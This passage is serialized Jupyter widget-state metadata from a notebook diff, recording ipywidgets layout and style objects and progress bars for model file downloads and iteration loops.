"50207c4a7c9d439896796dd407c1c3da": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e67431e7efe24016bcf04dfbcffc776e", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e23ebecc8f5f4598a991da021d78ddd2", + "value": 20 + } + }, + "50569e1467f7411e862553111c97afb3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "50b52602c923405eb91d1a4a7af8b5c5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_9c621a99b504459590a39098afbe5d50", + "IPY_MODEL_50207c4a7c9d439896796dd407c1c3da", + "IPY_MODEL_bd4b11f4948c40fb8101049fa3754dde" + ], + "layout": "IPY_MODEL_041e8d74b5744f908e37407f4cdece4e" + } + }, + "516f366ed73b4ed0991a6a91fb22a3d8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5189fa18ab144b5a93124e0b555d5677": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51a8aa7fde0c449392867b95a7aa6c16": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "532e652d4d5245c8b7579c4fda4217c3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "55470891a5ad41f2b04d3d5c86c1c934": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9e6fae549ea447e89a0ab36ba19e5fab", + "placeholder": "​", + "style": "IPY_MODEL_d79c2804b05248d8989a1462716a3478", + "value": " 20/20 [00:05<00:00, 3.86it/s]" + } + }, + "55e9c8210ea743939cdcdf6b873e00a1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "56310a7fb0804b43a60815c858d910c5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "59514b4f9b8f4930a1b07aad4ab19d25": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_932741fa7e674b6595866eecaf746bc9", + "max": 100, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_eb2855fb57d64857ab32fafd3a77b457", + "value": 100 + } + }, + "59e8c90ecdf04c2b89f9a539e7f7fdbb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5a00f85a6e9e44fcaa25dd0d982f2d0f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5a4843d7d25545dea9b6e53cb091321b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5c825455d85948b99f86b3495de63b29": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5caac903dab34c119294cd4bfb65725c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_eed1d1e67a1d4a20ba49586148ca5a2a", + "placeholder": "​", + "style": "IPY_MODEL_147c95feace0447ca58cc4079cb2cbe5", + "value": " 20/20 [00:05<00:00, 3.88it/s]" + } + }, + "5fd422b13c324a8baf619da5d1ad0b8e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8f10179341c44eb192f865feb143c57e", + "placeholder": "​", + "style": "IPY_MODEL_7f58916aaee04e5b89978d0111acf83d", + "value": " 10/10 [00:02<00:00, 3.82it/s]" + } + }, + "6168a5fc0aeb44cfab1ca7753ecedced": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "62905ea2ea4045aeb5ec9a8426247100": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6923960e3752477590c9c9ebc862163c", + "max": 3438213622, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_b286d3656c404762b3aaff97f4a5892d", + "value": 3438213622 + } + }, + "63ecaa7f41ce4289aa768b77e9ceebe7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7ede80a1f6544f2a8dfd631cb6d4eaca", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3bcb60cbd7ab48e2884460a1e539bd12", + "value": 10 + } + }, + "641c3e365227455c87baeb3597c44cde": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "65947bf28d8c47059e1dae1f1d2f97b2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "686e9a80d1554e6ca5ff8e1df5188c31": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6923960e3752477590c9c9ebc862163c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "69484df819aa44b3858b76432cc84beb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a726d364296442e196e973e575578c30", + "placeholder": "​", + "style": "IPY_MODEL_94b5651c5cd14901ac59ce22bb80fcfa", + "value": " 30/30 [00:08<00:00, 3.63it/s]" + } + }, + "6972c854e0ed46949fa89673845aa9b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b74ed8b4d7604233a405f1413959b644", + "IPY_MODEL_c61940c9c4174fa8b515bbda3b612146", + "IPY_MODEL_a8983f58e5c44385864ba164e3d00083" + ], + "layout": "IPY_MODEL_d11ce4de43984beab4937652c55419cb" + } + }, + "6a234c3c85734a2cae1348a3329bb659": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b77a65348afa4b6aae8540dd5d9e4d2c", + "placeholder": "​", + "style": "IPY_MODEL_960b8d20472f40078fc9566abc065cc1", + "value": " 10/10 [00:02<00:00, 3.78it/s]" + } + }, + "6a6320e8239d4413b9fc766b2e06ff1e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_af5bcc7147324069a3d292911d70d057", + "placeholder": "​", + "style": "IPY_MODEL_95a784af30bd4bde911e0ee76e343e72", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "6b04b7bfcca645368b1287a3467bc3a1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6b403cea94ae4e2887302d164e991cf8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a464d6a9bc374081a75ad8a0514c869a", + "placeholder": "​", + "style": "IPY_MODEL_0c1419eec41b48f093ec53410c10c583", + "value": "Downloading model.safetensors: 100%" + } + }, + "6be67e6518ea45a0b14a24c79b947617": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d9069541f2f246b99881a937f384c7ab", + "max": 472, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c5ffdd678bd444d6b66bc7525947b716", + "value": 472 + } + }, + "6d22121bbb6f4bcaa1b5f355d0f2e8a1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ed4320b4d8284ead91830c0b11b9bc56", + "IPY_MODEL_1fe983e43b7f4bca905a65b07eef5491", + "IPY_MODEL_6a234c3c85734a2cae1348a3329bb659" + ], + "layout": "IPY_MODEL_d3415f46386c49ce9593585d421657fa" + } + }, + "6daa2b5b26e4459aa5bdebd0062cf021": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6e4877900597413e96d01faf5f76b700": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6f03e27712e84cc49ad1a665c7537f12": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6f520ae078104d70945b5d42ded1a75a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "6f5b06b458d7482ba9685013cad5bfa7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6fea93ee309c49be85992b1a18756101": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6168a5fc0aeb44cfab1ca7753ecedced", + "placeholder": "​", + "style": "IPY_MODEL_aabeb052d7644bdcab945fdd5acf3cd7", + "value": " 617/617 [00:00<00:00, 